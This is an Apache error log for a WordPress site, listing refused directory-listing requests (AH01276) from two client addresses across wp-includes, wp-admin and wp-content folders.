[Wed Apr 22 01:44:36.958117 2026] [autoindex:error] [pid 53731:tid 53760] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:39.446319 2026] [autoindex:error] [pid 53731:tid 53748] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:48.471682 2026] [autoindex:error] [pid 53731:tid 53745] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:48.961137 2026] [autoindex:error] [pid 53731:tid 53750] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:52.427026 2026] [autoindex:error] [pid 53731:tid 53757] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:52.916319 2026] [autoindex:error] [pid 53731:tid 53741] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:55.352063 2026] [autoindex:error] [pid 53731:tid 53750] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:55.843455 2026] [autoindex:error] [pid 53731:tid 53736] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:56.343024 2026] [autoindex:error] [pid 53731:tid 53737] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:58.853886 2026] [autoindex:error] [pid 53731:tid 53759] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:59.344702 2026] [autoindex:error] [pid 53731:tid 53757] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:44:59.837992 2026] [autoindex:error] [pid 53731:tid 53753] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:07.157057 2026] [autoindex:error] [pid 53731:tid 53749] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:07.646972 2026] [autoindex:error] [pid 53731:tid 53737] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:08.631107 2026] [autoindex:error] [pid 53731:tid 53760] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:09.131633 2026] [autoindex:error] [pid 53731:tid 53735] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:11.693801 2026] [autoindex:error] [pid 53731:tid 53742] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:12.183700 2026] [autoindex:error] [pid 53731:tid 53739] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:18.561332 2026] [autoindex:error] [pid 53731:tid 53737] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:23.021741 2026] [autoindex:error] [pid 53731:tid 53741] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:24.002163 2026] [autoindex:error] [pid 53731:tid 53747] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:30.910422 2026] [autoindex:error] [pid 53731:tid 53758] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:31.403690 2026] [autoindex:error] [pid 53731:tid 53744] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:40.334721 2026] [autoindex:error] [pid 53731:tid 53750] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:42.901657 2026] [autoindex:error] [pid 53731:tid 53737] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:45.387544 2026] [autoindex:error] [pid 53731:tid 53742] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:45.877155 2026] [autoindex:error] [pid 53731:tid 53735] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:46.367863 2026] [autoindex:error] [pid 53731:tid 53754] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:46.857790 2026] [autoindex:error] [pid 53731:tid 53739] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:50.450502 2026] [autoindex:error] [pid 53731:tid 53760] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:54.860676 2026] [autoindex:error] [pid 53731:tid 53757] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:45:55.355468 2026] [autoindex:error] [pid 53731:tid 53744] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:02.015143 2026] [autoindex:error] [pid 53731:tid 53747] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:04.470141 2026] [autoindex:error] [pid 53731:tid 53737] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:09.064293 2026] [autoindex:error] [pid 53731:tid 53738] [client 45.137.126.18:20089] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:13.566721 2026] [autoindex:error] [pid 53731:tid 53754] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:14.057560 2026] [autoindex:error] [pid 53731:tid 53739] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:14.575316 2026] [autoindex:error] [pid 53731:tid 53749] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:15.075832 2026] [autoindex:error] [pid 53731:tid 53757] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:15.568388 2026] [autoindex:error] [pid 53731:tid 53752] [client 45.137.126.18:20089] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:29.443164 2026] [autoindex:error] [pid 4823:tid 4876] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:29.937333 2026] [autoindex:error] [pid 4823:tid 4857] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:30.440997 2026] [autoindex:error] [pid 4823:tid 4865] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:31.185027 2026] [autoindex:error] [pid 4823:tid 4864] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:31.676972 2026] [autoindex:error] [pid 4823:tid 4853] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:42.584380 2026] [autoindex:error] [pid 4823:tid 4857] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:43.075144 2026] [autoindex:error] [pid 4823:tid 4865] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:43.567854 2026] [autoindex:error] [pid 4823:tid 4862] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:44.068165 2026] [autoindex:error] [pid 4823:tid 4864] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:44.563742 2026] [autoindex:error] [pid 4823:tid 4853] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:53.173558 2026] [autoindex:error] [pid 4823:tid 4872] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:46:59.767968 2026] [autoindex:error] [pid 4823:tid 4866] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:00.269677 2026] [autoindex:error] [pid 4823:tid 4859] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:02.787885 2026] [autoindex:error] [pid 4823:tid 4868] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:13.304606 2026] [autoindex:error] [pid 4823:tid 4853] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:14.291566 2026] [autoindex:error] [pid 4823:tid 4877] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:14.783940 2026] [autoindex:error] [pid 4823:tid 4854] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 01:47:23.329663 2026] [autoindex:error] [pid 4823:tid 4877] [client 45.137.126.20:24877] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
